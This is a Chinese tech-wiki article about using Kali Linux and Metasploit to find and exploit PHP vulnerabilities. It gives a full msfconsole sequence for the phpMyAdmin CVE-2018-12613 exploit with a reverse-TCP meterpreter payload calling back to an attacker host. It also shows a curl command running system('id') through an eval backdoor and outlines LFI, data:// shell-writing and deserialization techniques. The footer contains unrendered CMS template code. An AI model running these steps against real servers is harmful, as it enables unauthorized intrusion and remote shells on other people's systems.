kali怎么挖php漏洞_用metasploit搜php可利用exp打洞【步骤】
技术百科
蓮花仙者
发布时间:2026-01-27
浏览: 次 Metasploit中无PHP语言本身漏洞的通用利用模块,其PHP相关exploit均绑定具体应用(如phpMyAdmin)或组件,需先手工验证环境再针对性使用模块。
metasploit 里没有现成的 PHP 漏洞利用模块
Metasploit 的 search 命令搜 php,返回的大多是 PHP Web 应用(如 WordPress、Joomla 插件)或服务端组件(如 phpMyAdmin、PHP-FPM)的漏洞模块,不是“PHP 语言本身”的通用漏洞利用。PHP 解析器层面的 RCE(比如 CVE-2019-11043、CVE-2025-41267)极少有稳定可用的 Metasploit 模块——官方不收录未验证、不可靠或依赖严苛环境的 exploit。
常见误操作是:search type:exploit platform:php → 返回空,或只看到 phpmyadmin、wordpress 等关键词模块,误以为“没东西”。其实问题不在搜索方式,而在目标本质:你真正要打的是运行 PHP 的 Web 应用或中间件,不是 PHP 解释器。
- Metasploit 的
php相关 exploit 全部绑定具体应用/版本,例如:exploit/multi/http/phpmyadmin_setup_exec - 纯 PHP 配置类漏洞(如
allow_url_include=On+)无法自动化利用,需手动构造 payload
expect://
- PHP 反序列化链(如 Laravel、Symfony)通常需定制 PoC,Metasploit 模块滞后且适配窄
先确认目标是否真有 PHP 环境可打
别急着开 msfconsole,先手工验证 PHP 是否在跑、能否执行代码。很多所谓“PHP 漏洞”其实是目录遍历、文件上传、SQL 注入后带出的 PHP Webshell,不是 PHP 解析器缺陷。
- 访问
/info.php或/test.php(内容为),看是否返回 PHP 版本和配置 - 检查
phpinfo()输出里的disable_functions和open_basedir—— 这俩直接决定后续命令执行能不能成功 - 用 curl 测试动态执行:
curl "http://target/test.php?c=system('id')"(前提是test.php含eval($_GET['c']);这类危险代码) - 若发现
phpMyAdmin、WordPress、Drupal等,用search name:phpmyadmin或search cve:2025-21551定向找模块
用 msf 打已知 PHP 应用漏洞的实操步骤
以 phpMyAdmin 4.8.0–4.8.1 的后台 RCE(CVE-2018-12613)为例,这是少数能直接进 meterpreter 的 PHP 生态漏洞:
use exploit/multi/http/phpmyadmin_481_lfi_rce set RHOSTS 192.168.1.100 set RPORT 80 set TARGETURI /phpmyadmin/ set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.5 set LPORT 4444 exploit
注意点:
-
TARGETURI必须精确到 phpMyAdmin 安装路径,错一位(比如写成/phpmyadmin少斜杠)就失败 - 该模块依赖 LFI 触发,若目标禁用了
allow_url_include或file_get_contents被禁,模块会静默退出 - 成功后 meterpreter session 权限取决于 PHP 进程用户(通常是
www-data),不是 root
别依赖 msf,手工验证比自动 exploit 更可靠
绝大多数 PHP 漏洞利用需要观察响应、调整参数、绕过 WAF,Metasploit 模块做不到这点。比如:
- PHP 反序列化:得先抓登录/cookie 的序列化数据,用
phpggc生成 gadget 链,再 base64 编码 POST 过去 - 文件包含(LFI):需配合
php://filter读源码、data://写 shell,msf 模块只覆盖最简路径 - PHP-FPM + Nginx FastCGI 漏洞(CVE-2019-11043):必须满足特定配置(
env[PATH]被覆盖),msf 没有通用模块,得用 Python 脚本发 raw packet
真正高效的 PHP 漏洞挖掘流程是:信息收集 → 手工验证 → 选 PoC(GitHub 搜 CVE 编号)→ 改参数 → 观察回显。Metasploit 只在批量验证已知应用漏洞时省时间,不是万能钥匙。
# wordpress
# python
# word
# 编码
# git
# github
# php
# sql
# nginx
# 中间件
# cookie
# symfony
# laravel
相关栏目:
<?muma
$count = M('archives')->where(['typeid'=>$field['id']])->count();
?>
【
AI推广<?muma echo $count; ?>
】
<?muma
$count = M('archives')->where(['typeid'=>$field['id']])->count();
?>
【
SEO优化<?muma echo $count; ?>
】
<?muma
$count = M('archives')->where(['typeid'=>$field['id']])->count();
?>
【
技术百科<?muma echo $count; ?>
】
<?muma
$count = M('archives')->where(['typeid'=>$field['id']])->count();
?>
【
谷歌推广<?muma echo $count; ?>
】
<?muma
$count = M('archives')->where(['typeid'=>$field['id']])->count();
?>
【
百度推广<?muma echo $count; ?>
】
<?muma
$count = M('archives')->where(['typeid'=>$field['id']])->count();
?>
【
网络营销<?muma echo $count; ?>
】
<?muma
$count = M('archives')->where(['typeid'=>$field['id']])->count();
?>
【
案例网站<?muma echo $count; ?>
】
<?muma
$count = M('archives')->where(['typeid'=>$field['id']])->count();
?>
【
精选文章<?muma echo $count; ?>
】
相关推荐
- Windows10蓝屏代码DPC_WATCHDOG
- Windows10如何更改盘符名称_Win10重命
- Win11怎么退出微软账户_切换Win11为本地账
- c++ stringstream用法详解_c++字
- Python字符串处理进阶_切片方法解析【指导】
- Python对象比较与排序_魔术方法解析【教程】
- Win11怎么设置指纹解锁 Win11笔记本录入指
- 如何在 Django 中修改用户密码后保持会话不丢
- Win10系统怎么查看网络连接状态_Windows
- MAC怎么使用表情符号面板_MAC Emoji快捷
- Win11怎么恢复出厂设置_Win11重置此电脑保
- LINUX下如何配置VLAN虚拟局域网_在LINU
- php8.4如何调用com组件_php8.4win
- Win10怎样安装Excel数据分析工具_Win1
- 如何在 Go 同包不同文件中正确引用结构体
- Win11怎么更改鼠标指针_Windows 11自
- Win10怎样清理C盘阿里旺旺缓存_Win10清理
- Go语言中slice追加操作的底层共享机制解析
- Windows10怎么卸载预装软件_Windows
- Windows7怎么找回经典开始菜单_Window
- Win10怎么卸载金山毒霸_Win10彻底卸载金山
- 如何在JavaScript中动态拼接PHP的bas
- 小程序里php怎么变mp4_小程序调用php生成m
- Win11怎么设置任务栏图标大小_Windows1
- Windows10电脑怎么连接蓝牙设备_Win10
- Win11声音太小怎么办_Windows 11开启
- Win11怎么禁用键盘自带键盘_Win11笔记本禁
- Win11怎么关闭通知中心_Windows11系统
- 如何在 Go 中高效缓存与分发网络视频流
- php订单日志怎么导出excel_php导出订单日
- PHP主流架构如何做单元测试_工具与流程【详解】
- Win11怎么设置多显示器任务栏 Win11扩展任
- Win11怎样激活系统密钥_Win11系统密钥激活
- c++如何获取map中所有的键_C++遍历键值对提
- Windows 10怎么把任务栏放在屏幕上方_Wi
- php打包exe后无法读取环境变量_变量配置方法【
- Win11时间格式怎么改成12小时制 Win11时
- 如何优化Golang Web性能_Golang H
- c# 在高并发场景下,委托和接口调用的性能对比
- 作用域操作符会影响性能吗_php静态调用性能分析【
- Mac电脑进水了怎么办_MacBook进水后紧急处
- 如何减少Golang内存碎片化_Golang内存分
- php订单日志怎么记录评价_php记录订单评价日志
- SAX解析器是什么,它与DOM在处理大型XML文件
- Win10怎么卸载爱奇艺_Win10彻底卸载爱奇艺
- Win11怎么设置默认邮件客户端 Win11修改M
- 如何在 PHP 单元测试中正确模拟带方法的图像处理
- Bpmn 2.0的XML文件怎么画流程图
- c++怎么调用nana库开发GUI_c++ 现代风
- Python对象比较排序规则_集合使用说明【指导】


QQ客服